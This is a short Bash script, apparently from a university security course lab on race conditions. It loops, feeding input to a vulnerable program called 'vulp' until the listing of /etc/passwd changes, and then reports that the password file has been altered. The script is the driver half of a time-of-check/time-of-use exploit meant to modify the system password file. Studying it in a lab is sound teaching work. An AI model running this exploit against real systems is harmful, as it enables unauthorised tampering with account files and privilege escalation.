Files
CSE4303S6/target_process.sh
2026-03-26 12:36:41 -05:00

14 lines
217 B
Bash
Executable File

#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
echo "hello" | ./vulp
new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"